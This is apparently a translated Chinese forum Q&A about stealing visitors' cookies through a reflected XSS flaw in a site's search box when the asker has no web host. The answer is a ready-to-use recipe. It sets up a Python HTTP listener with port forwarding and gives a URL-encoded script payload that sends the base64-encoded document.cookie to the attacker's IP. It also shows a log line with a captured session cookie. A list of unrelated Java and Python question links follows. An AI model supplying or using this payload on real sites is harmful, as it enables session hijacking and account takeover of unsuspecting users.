没有虚拟主机的 XSS 攻击

问题描述

我正在学习 XSS 攻击。

假设我有一个网站(我们称之为 http://www.animallover.com),它允许我在搜索栏中输入任何内容搜索动物名称。该网站易受攻击,因为在搜索栏中输入 <script>alert(1)</script> 会触发警报。

我的目标是通过要求用户访问 http://www.animallover.com 来窃取用户的 cookie。

我没有网络服务器来托管我的 cookie 捕获脚本。

我该怎么办?

解决方法

您可以很容易地在自己的计算机上设置 HTTP 服务器。

例如,Python 3 支持以下 one-liner HTTP server

python -m http.server 8000

这将响应到达您系统上的端口 8000 的 HTTP 请求。请记住,您可能需要调整防火墙并在路由器上设置 port forwarding 以允许流量通过此端口。并确保您在一个空文件夹中输入此命令,因为其中的所有内容都将在互联网上发布。

所有传入的请求都将记录在命令行终端上。因此,如果您尝试获取管理员的 cookie 值,您可以创建这样的链接(我在这里假设您的 IP 地址是 12.34.56.78; you can get the correct value from Google):

http://example.com/search?q=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F12.34.56.78%3A8000%2F%3F%27%2Bbtoa%28document.cookie%29%3B%3C%2Fscript%3E

这将在目标服务器上运行以下脚本:

<script>location.href='http://12.34.56.78:8000/?'+btoa(document.cookie);</script>

cookie 值将采用 base64 编码,因此您需要在它到达时对其进行解码。日志输出将如下所示:

$ python -m http.server 8000
99.99.99.99 - - [01/Jan/2021 01:23:45] "GET /?dXNlcj1hZG1pbjsgc2Vzc2lvbl9pZD0xMjM0NTY3OAo= HTTP/1.1" 200 -

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...